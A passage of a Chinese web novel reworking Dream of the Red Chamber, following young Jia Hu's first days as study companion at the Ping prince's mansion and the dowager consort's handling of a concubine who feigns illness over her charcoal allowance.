张氏做出一副无可奈何模样:“好的西席先生哪有那么容易找到的,国公爷在的时候尚且难得,何况是如今?倒是平王府那边,虽说小王爷不需要参加科举,但是西席先生也是托了顾家专门延请的江南名儒,错过这次,那真是几乎就没机会了!” 张氏话都说到这个地步,贾史氏和王氏但凡不想要撕破脸,也只能答应下来。! 微云烟波向你推荐他的其他作品: 希望你也喜欢请牢记收藏:,网址 最新最快无防盗免费阅读 第 18 章 第18章 一大清早,天还没亮,贾瑚就坐上了去平王府的马车。 车上除了他之外,只有一个周嬷嬷。毕竟是去做伴读的,按理说只能一个人去,也就是年纪还小,张氏担心他想家,才叫周嬷嬷跟着过去。 贾瑚有些紧张,看着周嬷嬷,轻声说道:“嬷嬷,小王爷好相处吗?” 周嬷嬷赶紧安慰道:“太妃娘娘是极慈爱的,小王爷也不是什么跋扈的性子,听说小王爷一直惦记着大爷呢,只要好好念书,到时候定然不会叫大爷受了什么委屈。” 话是这么说,周嬷嬷心里也有些嘀咕,要是这位小王爷不好好读书,先生严厉起来,岂不是要打自家大爷? 周嬷嬷却也没想到,徒嘉钰这个身份,他其实就没有好好读书的必要,做先生的也都是明白人,就算是进了弘文馆,人家盯着的也是有皇位继承权的那种,而不是徒嘉钰这种只能做一辈子太平富贵王爷的。教他们知道一些道理,不要做出什么有损皇家颜面的事情,也就够了。他们这些伴读愿意上进的可以跟先生好好请教,想要混日子的,先生只当做透明人便是。 荣宁二府祖上都是顶尖的开国功臣,自然他们的府邸在内城也是黄金地段,距离宗室居住的那几条街也并不算远,不多久,便到了平王府。 如今平王府的人彻底明白头顶已经换了主子,之前清查账房和库房的时候,一干牵扯其中的下人都没落到什么好处,直接私底下抄了家,然后借口给先平王祈福,将人全给放了出去,之后重新从顾晓的陪嫁还有皇庄上补了人手。 顾晓上辈子起码也是公司里的中层管理人员,如今携着清退了一大批人的余威,干脆也往王府引入了责任制和绩效制,王府各项差事各个职位,都明确职责,并设立了一个绩效标准,每月考核一次,超过的有奖励,一直达不到的,三次之后就清退。 开始还有人暗中不满,但是几个月下来,王府明显风气有了变化,那等尸位素餐、偷奸耍滑的没了偷懒的余地,原本勤勉的却得到了额外的奖励,自然一个个都满口子说还是太妃娘娘治家有方。 如果来的只是徒嘉钰的伴读,下头的人自然不会那么上心,偏生这位伴读还是太妃娘娘闺中姐妹的孩子,那自然得精心伺候着。 因此,从得了消息之后,府里头一干下人就充分发挥了主观能动性,将顾晓给贾瑚安排的屋子早早打扫出来,换上了合适的家具摆设。一大早就早早在角门外候着,想着孩子年纪小,又是富贵人家娇养大的,脚力不行,还安排了个骡车,好把人送到二门外去,再进去给太妃请安。 一番动作之下,周嬷嬷都有些觉得受宠若惊,贾瑚却是慢慢安下心来。 进了门厅,周嬷嬷就帮着贾瑚解了身上的斗篷,拿了手炉,旁边伺候的丫头连忙接了过去:“嬷嬷,这点小事我来就好!” 这边才说了几句话,里头帘子就打开了:“娘娘和小王爷等着瑚大爷呢!” 贾瑚听着不由脸一红,不过还是 带着周嬷嬷走了进去。 见贾瑚进来,很快有人拿了一个蒲团放到地上,贾瑚赶紧上前叩拜行礼:“贾瑚拜见太妃娘娘,拜见小王爷!” 头一次正式见面,行个大礼也是应当。顾晓使了个眼色,春香连忙过去扶着贾瑚起来,贾瑚这才抬头望去。 只见上头坐着一个美貌端庄的青年妇人,头上戴着灰鼠皮的昭君套,发髻上只插着一根银凤钗,笑意盈盈,脸上带着近乎与自家母亲如出一辙的慈和,顿时生出一点孺慕之意来。旁边坐着的却是跟自己差不多大小的男孩,正好奇地看着自己。 顾晓伸手一招,春香推着贾瑚在一边坐下,就听顾晓笑道:钰儿,这就是你张姨家的表兄,以后你们小哥俩正好一起读书,你可不能欺负了他!” 徒嘉钰早就盼着有同龄的玩伴了,以前先平王在的时候,他也就是逢年过节还有各家王府宴客的时候能见到各家的堂兄弟,但是先平王素来跟他那些兄弟往来并不亲密,这自然也影响了小一辈的关系,徒嘉钰跟那些堂兄弟们连塑料兄弟情都算不上,大概也就是个脸熟。外祖家的表兄与徒嘉钰年龄相差也比较大,也不会没事往王府过来,连眼熟都不算。如今来了个贾瑚,又生得面善,加上之前期待的时间比较长,自然愈发欢喜,嘴里说道:“我怎么会欺负瑚表兄,谁要是敢欺负他,我就帮他出气!” 贾瑚听着眼睛一红,自从贾代善去世之后,就再也没人用这种语气跟他说话了。张氏几乎是自顾不暇,而且因为有孕,精神也短,关心叮咛是不少的,但是说什么帮他出气之类的话,却是不可能。 见贾瑚模样,顾晓心中也是怜惜,她揽着贾瑚说道:“瑚哥儿,到了这里,就跟自己家一样,不要外道!可曾用过早饭了,这会儿一起用一点?” 贾瑚原本想说已经吃过了,但是感受着背后的温暖,又鬼使神差一般点了点头:“谢过太妃娘娘赐饭!” “才说不用外道呢,在外人那里叫声太妃娘娘便是了,如今就在自个家里,叫我一声姨妈便是!”顾晓笑道,又吩咐下头传饭。 因着是冬日,厨房的菜提过来的时候下面还用小泥炉煨着,很快,一应汤羹点心小菜就摆齐了。汤是牛肉汤,羹是银耳莲子羹,又有杏仁酪、小米粥、鸡丝粥,点心也是甜咸都有,甜的有藕粉桂花糕、山药枣泥糕,咸的有千层酥、蓑衣饼,俨然都是家常的菜式。 贾瑚来之前就是填了几口点心,这会儿带着一点酸辣的味道一激,的确觉得饿了。 两个孩子凑在一起,往往吃饭都会更香一些,徒嘉钰和贾瑚比起往常都多吃了不少,要不是顾晓提醒,差点没吃个肚圆。 用过早餐,顾晓才说道:“之前已经跟季先生说了,瑚哥儿的书本纸笔也都已经准备好了,你们这便去吧!” 两人都起身应是,然后一前一后往外院书房去了。! 第 19 章 第19章 平王府的先生是顾家推荐来的,叫做季邵,表字明和,别号灵溪。 这位灵溪先生少年成名,十七岁就中了举,可惜的是之后就开始走背运。 第一次会试的时候,考完有人举报说是有科举舞弊现象,最后这事只查到了考场上几个小吏就查不下去了,朝廷为了给下面举子一个交代,换了主考官,重新加试。结果老家传来消息,季家老爷子,也就是他祖父去世了,不得不放弃会试,回去奔丧守孝。 那时候他也还年轻,自然也没觉得是什么了不得的事情。三年之后,他进京赶考,这回却是因为不小心染了风寒,再次错过了那一科。 之后十几年,他简直如同被诅咒了一般,分别遭遇了祖母去世,父亲去世、水匪打劫等一系列悲剧。尤其是最后一次,水匪抢了他的行囊细软,还将他往水里一丢。那时候已经是深秋,他纵然会水成功自救,但是也寒气入体,伤了身体,再也受不得湿寒。 春闱都是早春,这个季节让他穿着几层单衣在号房考试,跟要他的命也没什么区别,最终也只能是放弃。 因为身体的缘故,他也没法留在江西老家了,那边固然没那么冷,但是却比较潮湿。独子成家立业后,他干脆带着妻子常居神京,神京这边气候干燥,天冷了,烧地炕不出门便是。 这些年来,他就在几个大户人家做西席,去年的时候,才被推荐到平王府。 一开始,他听说会多一个名为伴读的学生,其实是不怎么乐意的。毕竟,教徒嘉钰,尽可以不讲多少经义,反倒是可以讲解诸般杂学,任由学生自由发展便是。而多出来这个,显然是想要走科举这条路的,这就平白增加了不少压力和工作量。 但是,在知道贾瑚的身份来历之后,这位灵溪先生就不再多说了。他算起来是张家老爷子的门生,二十多年前,他参加的那次乡试正是张老爷子主持的。张老爷子对他极为赏识,当时还赐了他一套文房四宝。要不是他那时候已经有了表字,连表字都差点一起赐下了。 只是后来,他科举不顺,无颜再见恩师,再听得恩师消息的时候,恩师已经致仕回乡,再也难得见面。 如今张家遇上了这等事情,连同出嫁女都因此受到牵连,在夫家觉得朝不保夕,以至于连给孩子寻个好一点的启蒙先生都不能,还得送到王府来做伴读。 越想他越替自家恩师觉得委屈,自然不再抗拒多教一个学生的事情,反而心中暗自发誓,一定要尽心尽力,将贾瑚教导成才。 顾晓可不知道这位季先生居然跟张家有这样的渊源,张家老爷子主持过好几个省的乡试,连会试都主持过两次,不知道多少人是他的门生故旧,季灵溪又有些自惭,觉得自己辜负了恩师的一片心意,自然也不会在外头说这些。 而顾晓见季先生答应得痛快,只觉得是给季先生增加了工作量,原本他一年是二百两银子的束脩,如今顾晓干脆给他增加了一倍,三节两寿的节礼又增加了三成。 这会儿徒嘉钰领着贾瑚去了书房,季先生已经先到了。 徒嘉钰连忙带着贾瑚给季先生行礼,季先生摆了摆手,示意他们起来,他看了一眼贾瑚。 贾瑚是真的生得很好,结合了贾赦和张氏的优点,眼睛和嘴明显比较像是张家人。季先生看了几眼之后,就有些恍惚,不过他很快恢复了正常,和声细语道:“你便是荣国府的大公子贾瑚?” 贾瑚有些紧张地说道:学生正是贾瑚!⒒[(” 季先生点了点头,又问道:“在家的时候,读过哪些书了?” “母亲教我读过三百千,《诗经》也略微读了几篇!”贾瑚见季先生并不严厉,慢慢放松下来,说道。 季先生听着,便略微问了几句,见贾瑚都能答上来,心中更是欢喜,果然是恩师的后人(他这会儿浑然忘了,贾瑚其实是姓贾的),嘴里笑道:“不错,你这个年纪,能学这些已经不错了!” 贾瑚不由松了口气,就听季先生说道:“既然已经开始读《诗经》了,那今儿个先生就给你们讲一讲《诗经》!” 虽说如今科举以四书为主,但是季先生又不是那等不知道究底的寒门学子,只知道盯着四书念个没完! 科举发展近千年,该考的几乎都考过了,如今愈发向着刁钻古怪的方向去了。你要是读过的书不够多,那指不定考官出个题,你都不知道出自哪里,更别说如何引申了!所以,宁可打基础的时候多读一些,也别等到将来发现不对,再来弥补。 季先生这些年都在给大户人家的孩子启蒙,自然教起书来很有一套,旁征博引,娓娓道来,两个孩子听得津津有味。 季先生之前就准备好了因材施教,或者说是因人施教,徒嘉钰无需科考,那么读书对他来说,无非就是增长见识,不叫人蒙骗了去,另外再能培养几样雅趣,以后能够聊以自娱,在社交圈子里也能闯出点名声出来。 而贾瑚却是不同,他本就是勋贵出身,张家没有出事还好,还能将他引入文官的圈子里,如今张家流落四方,不知道要多久才有机会翻身,那贾瑚就得更加出挑才不会被人挑剔。 因此,等着两个孩子将一篇《诗经》诵读一番之后,季先生便拿了字帖,教两个孩子抄写,给贾瑚的就是正统的馆阁体,给徒嘉钰的就是颜体,虽说都是楷书,但是其中也略有区别。两个孩子如今还看不出来,只是老老实实在那里临帖,一篇写完,额头已经略微见汗。 小孩子筋骨尚且没有发育完好,季先生便也不逼着他们继续写字,反倒是叫他们先休息一会儿,喝点水,吃几块点心,等一刻钟之后再继续上课。 季先生自个去了里间休息,徒嘉钰和贾瑚一边喝水吃点心,一边凑一块嘀嘀咕咕起来。! 第 20 章 第20章 “季先生讲得可真好!”贾瑚欣喜地说道。 张家并不讲究“女子无才便是德”,张氏在家的时候,也是跟着女先生一块读书的。但还是那句话,目标不同,要求也不同。 张家男子为的是科举进身,女子就没有过多的要求,无非就是能识文断字,懂事明理,若是有兴趣,也可以学着吟诗作赋,做个才女。因此,教导她们自然不会讲什么微言大义,也就是字面上的意思,最多略微引申一下。 张氏给贾瑚启蒙也是一样,三百千中涉及到的一些典故,张氏中规中矩地讲一讲,说一下具体是个什么意思,主要还是死记硬背。而季先生讲课就不一样了,他放弃科举之后,反倒是读了更多书,对于从前学过的东西也有了更深的了解,这会儿哪怕只是稍微讲一讲,对于孩子们来说,依旧是非常有意思的。 徒嘉钰点了点头,他已经跟着季先生学了近一年了,对先生的学问还是非常佩服的。他觉得,就算是以后去弘文馆,那里的先生只怕也就是这个水平了。 一刻钟后,季先生又教两个孩子读诗,让他们对照《声律启蒙》里的韵部来归类。之前贾瑚定下来要给徒嘉钰作伴读,张氏就也开始教贾瑚念这个了,因此,贾瑚如今也已经将这卷书给记了下来,只是还不能熟练运用而已,如今跟着季先生拆解那些诗句,只觉得兴味盎然。 王府里面上课也就是一上午的事情,下课前,季先生会给他们布置当天的作业,比如说要写几张大字,写哪些内容,要背诵什么篇目,还得明白其中的意思。不过,一般情况下,这些作业顶多一个时辰也就解决掉了,不会让他们连透气的时间都没有。 下了课,徒嘉钰和贾瑚自己收拾好书本笔墨,自有小厮帮他们拿到他们屋里去。 徒嘉钰兴奋地说道:“等吃了饭,咱们一起做功课,等到做完了,再一起玩!你会抽陀螺吗?” 贾瑚点了点头:“会一点!” 徒嘉钰大模大样地说道:“没事,我教你,回头我们还能一起跳白索、蹴鞠,等到天暖和了,还可以放风筝!” 徒嘉钰虽说年纪小一点,但是却是个好充大哥的,可惜亲弟弟一个是个一年到头都不怎么出院子的病秧子,一母同胞的那个还是个话都不会说的小婴儿,很难满足他作为兄长的欲望,如今贾瑚来了就正好。 贾瑚也觉得很愉快,一开始还担心徒嘉钰比较难相处,如今看起来,王府比自个家里有意思多了! 徒嘉钰见贾瑚捧场,又带着一点炫耀自个玩具的模样说道:“你早上过来还没见过我弟弟吧,我弟弟就像个小肉团一样,可好玩了,一会儿也给你玩一下!” 贾瑚也说道:“那等我妈妈给我生了弟弟,我也带过来给你一起玩!” 对于他们来说,弟弟生下来如果不是给他们玩的,那就毫无意义。 两人说话间,已经跑到了正院,见到伺候的下人蹲身行礼,脚步才慢了下来。 “妈,弟弟醒了没 有?”徒嘉钰兴冲冲地说道,“瑚哥儿还没见过呢!” 顾晓听了,不由笑了起来:说叫你给弟弟取个小名,这都几个月过去了,也没个消息,跟他玩起来倒是开心! ⒓微云烟波提醒您《红楼太妃要躺平》第一时间在[]更新,记住[( “就叫弟弟就行了啊!”徒嘉钰理直气壮地说道,在他眼里,自己的弟弟就是那个如今才有点会爬的小豆丁,至于徒嘉泽,也就是顶着个兄弟的名头罢了。 顾晓笑道:“那就是你放弃这个给弟弟取名的权力了?妈最多等你到腊月,等过了年,你再没个主意,就是妈妈给他取了!到时候你可别又后悔!” 徒嘉钰顿时有些不乐意了,这可不行,他看了一眼贾瑚,琢磨了一下,决定回头跟贾瑚商量一下再说。 小家伙如今已经快八个月了,有道是七坐八爬周会走,小家伙营养很充足,半岁的时候,顾晓就开始给他添辅食,米糊,煮熟的鸡蛋黄,蔬果泥,如今牙也长出来两颗,又添上了蒸鸡蛋和肉糜。为了满足他的需求,府里头专门将一个院子改成了暖房,用来种洞子菜,好让他冬天的时候也能吃到新鲜的蔬菜。 充足的营养带来的就是体格的简装,小家伙现在坐起来很稳当,爬起来利索得很,甚至都能扶着栏杆稍微站一会儿。 不过,话还是不怎么会说,只会说几句类似于“妈妈”的发音,特别喜欢别人逗他,哪怕你就是伴个鬼脸,他都能笑得整个屋子都能听到。 他现在最喜欢的游戏就是捉迷藏,其实就是找个东西挡住脸,然后突然又露出来,玩一次笑一次,就没有厌烦的时候。 这会儿他就在一边的炕上拿着一小截烤饼干磨牙,吃得满手都是口水,要不是两个乳母守在一边,不时帮他擦干净,那可就埋汰了。 有钱人育儿的乐趣就在于此,劳心劳力的活都是别人的,自己只负责逗孩子,享受孩子带来的情绪价值就行。 徒嘉钰这会儿就凑到小家伙那里,小家伙自然是认识这个哥哥的,当下将手里的烤饼干往旁边一丢,就往徒嘉钰那里凑。 徒嘉钰也不嫌弃他,从乳母手里拿了帕子给他将手擦干净,就将他抱到自己腿上:“呵,弟弟你是不是又重了啊!” 小家伙也听不懂,就对着徒嘉钰手舞足蹈的傻乐,嘴里“咿咿呀呀”地不知道想要说什么。 贾瑚看得有趣,也凑了过来,徒嘉钰一板一眼地指着贾瑚说道:“弟弟,这是你瑚大哥哥,知道了吗?” 这么大的孩子,已经开始认生了,见贾瑚是个生面孔,他顿时抓着徒嘉钰的衣襟不放手,头也扭了过去,不看贾瑚,弄得贾瑚顿时觉得有些尴尬起来。 徒嘉钰安慰道:“没事,等过几天他认识你了就好!来,你拿这个跟他玩!”说着努了努嘴,让贾瑚去拿炕上的一个拨浪鼓。 孝期里头连拨浪鼓都不能做成大红大绿的颜色,因此,顾晓叫人做成了明亮的蓝色,鼓面上一面画了一只青蛙和几片荷叶,一面画了一只站在树枝上的绿鹦鹉,看起来格外可爱。 贾瑚拿着拨浪鼓,试探着在旁边摇了起来,小家伙听到声音,顿时就将目光转了过来。! 第 21 章 第21章 贾瑚试探着又拿着拨浪鼓靠近了一些,继续摇着,结果一个不妨,一只小手伸过来,抓住了鼓面,用力一夺。 贾瑚不敢用力,只得手一松,拨浪鼓就落到了小家伙手里。小家伙抓着拨浪鼓,谁都能看到他胖嘟嘟的小脸上露出来的得意。 “哈哈,你竟然被这小东西把拨浪鼓给抢走了!”要不是还抱着小家伙,徒嘉钰都能捧腹大笑。 顾晓他们在一边看着,也是忍不住笑起来,倒是逗得贾瑚异常尴尬起来。 “行啦,瑚哥儿是怕伤着你弟弟,没敢用力,你还笑他呢!”顾晓笑道,“快去梳洗一下,一会儿该用饭了!” 结果吃饭的时候,贾瑚赫然发现,那小东西居然也大模大样地坐在一个看起来有些奇怪,前面有围栏和面板的高背椅子上,脖子上系着一条围嘴,面板上放着一个银质的荷叶形浅口盘子,里面放着蒸南瓜和胡萝卜山药糕,还有一小块鸡蛋蒸肉糜。 小家伙显然已经习惯了这样的待遇,抓着一块蒸南瓜就往嘴里塞。 贾瑚目瞪口呆地看着小家伙一边吃,一边将食物弄得到处都是,却没人过去帮忙,简直是不知道该说什么好,不由茫然地看向了徒嘉钰。徒嘉钰给他使了个眼色,示意等到吃过饭再说。 一顿饭吃完,徒嘉钰带着贾瑚回前面院子,路上才解释道:“弟弟就喜欢自己拿东西吃,你给他喂,他还不高兴呢,脾气大得很!所以,我妈叫人给他做了专门的椅子和盘子,让他自己拿着吃!” 贾瑚恍然“大悟”,他跟贾珠只相差一岁,但是荣国府如今还有个元春,元春年纪比徒嘉钰这个弟弟还要大一些,如今除了吃奶之外,也不吃别的东西,结果看起来比这小家伙还小一圈,也不比他活泼可爱,能爬能笑。 这么一想,贾瑚觉得等回头得跟自个妈妈说,弟弟生下来,也要让他自己吃,要不然的话,就像是元春妹妹一样,跟个小鸡崽子似的。 顾晓的新式育儿方法其实在两个奶嬷嬷那里也是颇有微词的,也就是王府不缺钱,不缺衣裳,要不然的话,光是每天换洗衣裳,一般的人家就够呛了。好在孩子长得壮实,这么长时间也不见生病,大家也就不多插嘴,尤其现在三公子因为辅食吃得多的缘故,吃奶也吃得少了,原本两个乳母正好够用,现在一个乳母都有些嫌多,她们担心谁要是多嘴,被顾晓以三公子不需要两个奶娘的缘故送回去,那可就丢脸了。如今睁只眼闭只眼,还能按照规矩待到三公子三岁彻底断奶后,留一个做教引嬷嬷,另一个也能得到一定的赏赐出去,不失体面。 倒是几个年轻的丫头觉得这样不错,她们以后也是要放出去嫁人生子的,本来都是奴才秧子,总不能养得比主子还娇贵。 “娘娘,西院那边要请太医!”顾晓午睡醒来,正打算趁着外头太阳不错,沿着回廊散一会儿步,春燕快步走了进来,轻声说道。 “是侧太妃,还是二公子?”顾晓问道。 春燕低头说道:“是侧 太妃,说是夜里受了凉??[,人有些不舒服!” “受凉?”顾晓顿时皱起了眉头。王府里头,正院还有前头徒嘉钰的院子用的都是地炕,后来,李氏生了徒嘉泽,借口徒嘉泽身体弱,受不得冷,也缠着徒宏远将西院改了地炕。天一冷,只要将地炕烧起来,一屋子都是温暖如春,甚至得洒一些水,好叫屋里不要那么燥热。 “这个月给西院拨了多少炭?”顾晓问道。 一边春香说道:“就是按照往年的例拨的,侧妃一天是五十斤,二公子一天二十斤,合计七十斤!这可不少了,咱们正院也就一百斤的例!”说着,她忍不住撇了撇嘴。往年李氏得宠,徒宏远常往她那里去,府里的管事捧高踩低,都会额外给西院多送一些炭。今年可没这样额外的份例了,对于李氏来说,如果烧炕没问题,而烧地炕,哪怕克扣下头丫头婆子的,也显得不够用!像是正院这边,说是一百斤,但是顾晓自个有私产,又是自个管家,炭不够,说一声,自然有下头的人送过来。而西院那边,不克扣她,已经是顾晓治家严谨,除非她自个掏钱买,否则的话,想要多的,就是不可能的事情。 李氏其实私房不少,偏偏是个有些悭吝地脾气,以前徒宏远在的时候,每年都要额外给她一笔钱用作打赏,就这样,她都能硬省下大半来。如今没了徒宏远这个金主,她一个月也还有十五两银子的月例,还能再加上徒嘉泽那十两的月例,其实也不算少了。府里头大大小小的主子,吃穿用度,都是府里供给,这钱就是给他们用来买一点份例外的东西,还有逢年过节打赏下人的。 李氏反正是一毛不拔,都到现在了,她还觉得府里大概还是按闹分配呢!觉得自己一个侧太妃,若是因为炭不足的缘故闹将起来,顾晓哪怕是为了平息事端,也得满足她的需求。 因此,她昨儿个就故意稍微受了点凉,今儿就有些鼻塞不通气,原本伺候她的银珠将以前徒宏远给的鼻烟盒拿了出来,让她嗅一嗅鼻烟,打几个喷嚏出来,鼻子也就通畅了。 李氏就是想要将事情闹大,怎么肯就这么善罢甘休,因此就闹着要请太医。 李氏那点心思,顾晓用脚后跟都能猜到,她冷笑一声,说道:“那就去请太医吧!” 太医院那边,平王府的存在感还是很强的。大家都知道,平王府有个庶出的二公子,生下来身体就不好,之前生母还胡乱给他吃什么人参养荣丸,亏得没将身体吃坏了。 这些日子以来,平王府十天都会请一次小儿科的太医,到府里给那位二公子请一次平安脉,这般精心之下,徒嘉泽也就是秋冬换季的时候略微病了一场,咳嗽了一些时日,就未曾有过什么症候。 这会儿又有平王府的太监陆平拿了帖子过来,惯常去的那位何太医都已经准备拿药箱了,结果就见陆平说道:“这次是我们府里侧太妃受了风寒,想要请个太医给她瞧瞧!” 何太医笑道:“风寒啊,那就得请王太医了,可惜他今儿不当值,倒是徐太医是王太医的师弟,也是把得一手好脉息!”说着,就 招呼了一声:“徐兄可有闲暇去平王府一趟?” 徐太医原本正在看脉案,这会儿将脉案一和,笑道:既然如此,那我就走一趟! ?微云烟波提醒您《红楼太妃要躺平》第一时间在[]更新,记住[( 陆平赶紧说道:“那就劳烦徐太医,请随奴婢来!” 出了太医院的值房不多久就是宫门,平王府的马车就在宫门外等着。 徐太医坐在马车上便想要先了解一下情况,问道:“不知这位公公,贵府上侧太妃娘娘是个什么症候?” 陆平原本就是外院的太监,在徒宏远那里并不得用,但是谁叫得用的太监跟徒宏远一起死了呢?就算没死,那也是护主不力,别指望再回府当差了,这才轮到陆平这个在外院当差的太监出了头。他身上也有品级,可以入宫,所以进宫请太医的事情,一般都是他过去。 陆平这会儿有些尴尬:“奴婢素来只在外院听候吩咐,不曾见过侧太妃娘娘,只听院里传话的人说娘娘受了凉,其他便不知道了!” 徐太医也没多想,各家王府虽说都有用太监的资格,但是,内院女眷不喜欢用太监,只喜欢用女官的也多有人在。 不多久到了平王府,徐太医直接被人引着去了西院。 一进门,一股热气就铺面而来,徐太医头一次过来,顿时有些咂舌,这侧太妃倒是奢侈,看屋里的温度,这地炕可不是烧了一两天了。 几个丫头过来行礼,只说请徐太医去里间给娘娘把脉。 李氏是个矫情的,既然屋里烧了地炕,她就不睡火炕了,而是睡着之前徒宏远特地给她弄来的拔步床,这会儿帐幔被放下来,只有一只白皙纤细的手伸了出来,放在床沿。伺候的丫头拿了一方素帕将手遮住,口中说道:“徐太医,劳烦您了!” 徐太医略微估摸了一下,将手搭到帕子上,然后脸色就有些古怪。 王府大张旗鼓地请人过来,他还以为是个什么样的病症,结果就是普通的风寒,吃点姜茶,发发汗也就好了。 不过,徐太医却也不好多说什么,只是说道:“娘娘身体确有违和,好在并不严重,老夫写个方子,三碗水煲成一碗水煎了,吃个两剂也就妥了!” 里面李氏顿时急了,开口说道:“太医这话怎么说,我这屋里炭不足,昨儿个冻得厉害,现在连气都要喘不过来了,怎地到了你嘴里,就跟没事人一样?” 徐太医脸一下子拉了下来,你要是府里正经的太妃,那也就罢了,一个过了气的侧妃,你也敢质疑我的医术?不过,嘴上却是不咸不淡地说道:“娘娘言语流利,中气十足,其实依老夫的意思,是药三分毒,取了老姜切片煮汤,热腾腾喝下去,出个一身汗也就是了!娘娘若觉得老夫才疏学浅,医术不精,那便再找别人吧!” 说着,直接就起身,连药也不开了,提上药箱就往外走。! 第 22 章 第22章 见徐太医快步出来,二门外等着的陆平连忙迎了上来:“劳烦徐太医走一趟!” 徐太医不阴不阳地说道:“侧太妃觉得老夫医术短浅,还请贵府另请高明吧!” 他这样的太医就算不是专门伺候圣上的御医,宫里宫外也是极有脸面的,结果一个侧太妃一点小病就劳动他走一趟也就罢了,谁叫人家好歹也算是贵人,贵人的命自然也比别人贵重。宫里头装病的事情多了去了,我又不是没见过,但那都是大家心照不宣,开点太平方也就糊弄过去了。但是你事先跟我说了吗?尤其,这王府连个成年的男人都没有,你装给谁看啊!难不成是给正院上眼药?可你那样找我干嘛?我清清白白一个人,凭什么为了你撒谎,回头揭穿了,我这个太医还干不干了! 徐太医心里恼火,嘴上就不怎么留情。 陆平一楞,连忙赔笑道:“徐太医这话怎么说的,奴婢就是个跑腿的,侧太妃是个什么想法,奴婢怎么知道?”说着,拿了个上等的银封出来,双手递给了徐太医,口中说道:“您受累,还请徐太医多多包涵一二!” 举手不打笑脸人,银封一入手,徐太医就是心中一定,这里头应该是五两银子,即便是太医,这也算是难得的意外之财了,寻常出诊,正常也就二两银子,就算是在宫里看病,也就是差不多的行情。他们这些太医品级不高,一年俸禄也就是几十两,想要日子过得去,靠的就是出诊得到的诊费和赏钱。 既然钱到手了,徐太医琢磨了一下,决定干脆做个顺水人情,他压低了声音,说道:“老夫就多个嘴,贵府上这位侧太妃娘娘其实压根没病!” 话说到这里,徐太医就继续往外走去,陆平赶紧将人送了出去,一直送到马车上,命车夫将人送到宫门口才作罢。 “就知道那位装病!”正院这边得了消息,脾气最急的春红就冷笑起来,“也不怕装多了,就真病了!” 顾晓却是说道:“叫人去西院说一声,如果觉得信不过太医,就让她自个找信得过的大夫,不过到时候要是出了什么差池,那也是她自找的!” 原本瞧着李氏老实了几个月,如今居然又蹦跶起来,顾晓也觉得厌烦。 府里头那几个侍妾如今都颇为老实,顾晓不叫她们过来请安,她们也会隔上一段时间,送上一些针线作为孝敬。既然肯安分守己,王府也不怕多养几个人。但是,李氏这样冷不丁就冒出来显示一下存在感的,就很叫人讨厌。 想了想,顾晓便说道:“我记得周氏、陈氏她们几个如今都挤在风荷院里?” 吴嬷嬷点了点头,说道:“可不是嘛,风荷院里如今住了六个太姨娘,还有两个姑娘跟着住一块呢!” 顾晓眯了眯眼睛,说道:“两个姑娘也大了,也该有自个的屋子。她们从小住在那里,想来也不习惯搬别处去。这样吧,叫刘失、米氏还有何氏收拾收拾,搬到西院那边跟侧太妃住一块!” 吴嬷嬷一听就乐了,李氏一向霸道惯了的,之 前受宠的时候差点没将自己当做王府的女主人,见到那几个侍妾眼睛都不带抬一下的。如今几个侍妾搬过去,不闹腾起来才怪! 至于说她们勾结起来,那根本就是不可能的事情。刘氏、米氏和何氏都没有生育过,想要在王府过上几天舒心日子,全得看顾晓是否乐意。尤其,她们能做侍妾,可见也是得过徒宏远喜欢的,偏生正经的王妃还没吱声呢,李氏就耀武扬威起来。动不动就截人,还要拈酸吃醋地说些小话,弄得她们明明都是青春年华,膝下却无一儿半女傍身。 有着这样的旧怨在,她们能叫李氏好过才怪! 春红当下就自告奋勇,先去西院传话。 听说春红来了,李氏如今还真不敢不给正院大丫头脸色看,忍着气将人请进来,自个还靠在床上,作出一副病弱的模样,恹恹地说道:“春红姑娘过来,可是娘娘有什么吩咐?” 春红看了李氏一眼,李氏这些日子在院子里不出门,又不需要挖空心思奉承男人,顾晓也没减少西院的供给。像是西院这边,因为有李氏和徒嘉泽两个正经的主子,每天光是点心的份例就有四份。徒嘉泽身体弱,脾胃也弱,因此别说是点心,正餐都吃不了几口。李氏有些吝啬,觉得将点心全分出去实在是浪费,因此难免要多吃几块。 传统的中式点心,很多要么就是要加上猪油起酥,要么就是要加糖增味,还有两者都加的,自然吃着容易胖。也就是李氏骨架小,这年头衣服也都比较宽大,粗一看看不出来。饶是如此,李氏脸上也略微丰腴了一些,脸色也红润。 春红不知就里,只是心中鄙薄。当年先王爷在的时候,对她何等宠爱,结果人死了还不到一年,她不但没有消瘦,反倒是胖了。 心中有了偏见,春红言语就愈发不客气起来:侧太妃瞧着气色不错,看样子还是太医医术高明,还没吃药呢,就好了!?_[(” 这话一听就不是好话,李氏咬了咬牙,说道:“本来也不是大病,就是昨儿个夜里地炕灭了,略微冻着了!” 春红没好气道:“我们娘娘那边也就是白天用地炕,晚上还是用火炕的,侧太妃看起来比娘娘还金贵呢!” 李氏脸涨得通红,想要发火,又不敢,只得从牙缝里挤出一句话来:“春红姑娘来,难道就是为了跟我说这些话的吗?” 春红摆出一副恍然的模样,赶紧轻轻打了一下自己的嘴,说道:“瞧奴婢这记性,差点将正事给忘了!” 说着,春红正色说道:“大姑娘开过年就五岁,二姑娘也三岁多,娘娘想着,也该将教引嬷嬷还有一等二等乃至粗使的丫头给补齐了。这么一来,原本的屋子就不够用!两位姑娘得跟着周太姨娘和陈太姨娘住,黄太姨娘又是大姑娘的生母,自然得住在一块。所以,娘娘想着,将风荷院留给三个太姨娘和两个姑娘,另外三个太姨娘以后就给侧太妃做邻居了!” 李氏只气得几乎七窍生烟,觉得嗓子都要说不出话来,就听见自己的声音似乎从胸口冒出来:“她们有孩子,我这边还是二公子呢 ?” 春红笑道:“西院的规格不比正院小哪儿去,哪儿腾不出三间屋子来呢!而且?_[(,恕奴婢多嘴,二公子毕竟是哥儿,总不能一直养在侧太妃这里,大一点之后,还是要挪出去的!到时候,侧太妃难免寂寞,正好几个太姨娘过来,也能陪侧太妃说说话,不是吗?” “侧太妃,奴婢的话已经传到了,趁着这几天天气好,还是赶紧叫人将屋子收拾起来才是,要不然回头几位太姨娘搬过来,人来人去的,丢了什么东西,那可就说不清楚了!奴婢还得回去给娘娘复命,这就告退!”春香脸上露出了一个胜利的神情,给李氏屈膝行了一礼,就转身离开。 春香人还没走多远,就听见身后传来不知道什么东西落到地上的声音,还夹带着几声近乎歇斯底里的咆哮。 而风荷院那边,刘氏她们几个听到消息,面面相觑了一番,继而摩拳擦掌,生出了几分斗志。 